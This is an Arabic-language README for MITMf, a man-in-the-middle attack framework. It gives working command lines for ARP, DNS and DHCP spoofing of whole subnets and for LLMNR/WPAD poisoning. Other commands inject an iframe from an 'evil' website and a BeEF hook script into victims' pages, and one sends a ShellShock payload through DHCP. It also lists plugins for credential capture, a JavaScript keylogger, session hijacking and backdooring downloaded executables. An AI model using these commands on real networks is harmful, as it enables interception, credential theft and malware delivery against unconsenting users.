إطار عمل هجمات الرجل في الوسط
لم يعد يتم تحديث هذا المشروع. تمت كتابة MITMf لتلبية الحاجة في ذلك الوقت إلى أداة حديثة لتنفيذ هجمات Man-In-The-Middle. منذ ذلك الحين تم إنشاء العديد من الأدوات الأخرى لملء هذه المساحة، ربما ينبغي عليك استخدام Bettercap نظرًا لأنه أكثر اكتمالًا بكثير من الميزات ويتم صيانته بشكل أفضل.
برامج تعليمية سريعة وأمثلة وتحديثات للمطورين على: https://byt3bl33d3r.github.io
تعتمد هذه الأداة على sergio-proxy وهي محاولة لإحياء المشروع وتحديثه.
اتصل بي على:
تويتر: @byt3bl33d3r
IRC على Freenode: #MITMf
البريد الإلكتروني: [email protected]
قبل إرسال المشكلات، يرجى قراءة القسم ذي الصلة في الويكي.
يرجى الرجوع إلى الويكي للحصول على تعليمات التثبيت
يهدف MITMf إلى توفير متجر شامل لهجمات Man-In-The-Middle وهجمات الشبكة أثناء تحديث وتحسين الهجمات والتقنيات الحالية.
تم تصميمه في الأصل لمعالجة أوجه القصور الكبيرة في الأدوات الأخرى (مثل Ettercap وMallory)، وقد تمت إعادة كتابته بالكامل تقريبًا من البداية لتوفير إطار عمل معياري وقابل للتوسيع بسهولة يمكن لأي شخص استخدامه لتنفيذ هجوم MITM الخاص به.
يحتوي الإطار على خادم SMB وHTTP وDNS مدمج يمكن التحكم فيه واستخدامه بواسطة المكونات الإضافية المختلفة، ويحتوي أيضًا على نسخة معدلة من وكيل SSLStrip الذي يسمح بتعديل HTTP وتجاوز HSTS جزئيًا.
اعتبارًا من الإصدار 0.9.8، يدعم MITMf تصفية الحزم النشطة ومعالجتها (أساسًا ما فعلته etterfilters، ولكن بشكل أفضل)، مما يسمح للمستخدمين بتعديل أي نوع من حركة المرور أو البروتوكول.
يمكن تحرير ملف التكوين أثناء تشغيل MITMf، وسيتم تمرير التغييرات عبر إطار العمل: يتيح لك ذلك تعديل إعدادات المكونات الإضافية والخوادم أثناء تنفيذ الهجوم.
سيقوم MITMf بالتقاط بيانات FTP وIRC وPOP وIMAP وTelnet وSMTP وSNMP (سلاسل المجتمع) وNTLMv1/v2 (جميع البروتوكولات المدعومة مثل HTTP وSMB وLDAP وما إلى ذلك) وبيانات اعتماد Kerberos باستخدام Net-Creds، والتي يتم تشغيلها على بدء.
يتيح تكامل المستجيب إمكانية تسميم LLMNR وNBT-NS وMDNS ودعم خادم WPAD المارق.
يمكنك الآن تعديل أي حزمة/بروتوكول يتم اعتراضه بواسطة MITMf باستخدام Scapy! (لا مزيد من المرشحات الإلكترونية! رائع!)
على سبيل المثال، إليك مرشح صغير غبي يقوم فقط بتغيير عنوان IP الوجهة لحزم ICMP:
إذا كانت packet.haslayer(ICMP): log.info('حصلت على حزمة ICMP!') packet.dst = '192.168.1.0'
استخدم متغير packet
للوصول إلى الحزمة بتنسيق متوافق مع Scapy
استخدم متغير data
للوصول إلى بيانات الحزمة الأولية
الآن لاستخدام الفلتر، كل ما يتعين علينا فعله هو: python mitmf.py -F ~/filter.py
ربما ترغب في دمج ذلك مع البرنامج المساعد Spoof لاعتراض الحزم من شخص آخر؛)
ملاحظة : يمكنك تعديل عوامل التصفية أثناء التنقل دون إعادة تشغيل MITMf!
الاستخدام الأساسي، يبدأ تشغيل وكيل HTTP SMB وDNS وخوادم HTTP وNet-Creds على الواجهة enp3s0:
python mitmf.py -i enp3s0
يقوم ARP بتسميم الشبكة الفرعية بأكملها باستخدام البوابة الموجودة على 192.168.1.1 باستخدام المكون الإضافي Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
كما هو مذكور أعلاه + خادم وكيل WPAD مخادع باستخدام المكون الإضافي Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
سم ARP 192.168.1.16-45 و192.168.0.1/24 مع البوابة على 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
تمكين انتحال DNS أثناء تسميم ARP (يتم سحب النطاقات المراد انتحالها من ملف التكوين):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
تمكين انتحال LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
تمكين انتحال DHCP (يتم سحب تجمع IP والشبكة الفرعية من ملف التكوين):
python mitmf.py -i enp3s0 --spoof --dhcp
كما هو مذكور أعلاه مع حمولة ShellShock التي سيتم تنفيذها إذا كان أي عميل معرضًا للخطر:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
قم بإدخال HTML IFrame باستخدام البرنامج المساعد Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
أدخل برنامج نصي JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
ابدأ بوابة مقيدة تعيد توجيه كل شيء إلى http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
ابدأ تشغيل البوابة المقيدة على http://your-ip/portal.html باستخدام الصفحة الافتراضية /portal.html (المستجيب thx) و/CaptiveClient.exe (غير مضمن) من المجلد config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
كما هو مذكور أعلاه ولكن مع اسم المضيف captive.portal بدلاً من IP (يتطلب captive.portal للحل مع عنوان IP الخاص بك، على سبيل المثال عبر محاكاة DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
قم بخدمة بوابة مقيدة باستخدام مثيل SimpleHTTPServer إضافي يخدم LOCALDIR على http://IP:8080 (قم بتغيير المنفذ في mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
نفس ما ورد أعلاه ولكن مع اسم المضيف:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
وأكثر من ذلك بكثير!
بالطبع يمكنك مزج ومطابقة أي مكون إضافي تقريبًا معًا (مثل ARP spoof + inject + Responder وما إلى ذلك.)
للحصول على قائمة كاملة بالخيارات المتاحة، ما عليك سوى تشغيل python mitmf.py --help
HTA Drive-By : يقوم بإدخال إشعار تحديث مزيف ويطالب العملاء بتنزيل تطبيق HTA
SMBTrap : يستغل ثغرة "SMB Trap" الموجودة على العملاء المتصلين
ScreenShotter : يستخدم HTML5 Canvas لتقديم لقطة شاشة دقيقة لمتصفح العملاء
المستجيب : LLMNR، NBT-NS، WPAD وMDNS المسموم
SSLstrip+ : تجاوز HSTS جزئيًا
محاكاة ساخرة : إعادة توجيه حركة المرور باستخدام انتحال ARP أو ICMP أو DHCP أو DNS
BeEFAutorun : تشغيل وحدات BeEF تلقائيًا بناءً على نظام التشغيل الخاص بالعميل أو نوع المتصفح
AppCachePoison : ينفذ هجمات تسميم ذاكرة التخزين المؤقت لتطبيقات HTML5
Ferret-NG : يخطف جلسات العميل بشفافية
BrowserProfiler : يحاول تعداد كافة المكونات الإضافية للمتصفح للعملاء المتصلين
FilePwn : يتم إرسال الملفات التنفيذية من الباب الخلفي عبر HTTP باستخدام Backdoor Factory وBDFProxy
حقن : إدخال محتوى عشوائي في محتوى HTML
BrowserSniper : ينفذ هجمات بالسيارة على العملاء الذين لديهم مكونات إضافية للمتصفح قديمة
JSkeylogger : يقوم بإدخال برنامج Javascript keylogger في صفحات الويب الخاصة بالعميل
استبدال : استبدال المحتوى التعسفي في محتوى HTML
SMBauth : استدعاء محاولات مصادقة الاستجابة للتحدي SMB
Upsidedownternet : يقلب الصور 180 درجة
Captive : إنشاء بوابة مقيدة، وإعادة توجيه طلبات HTTP باستخدام 302
بي تي سي: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
إيثريوم: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr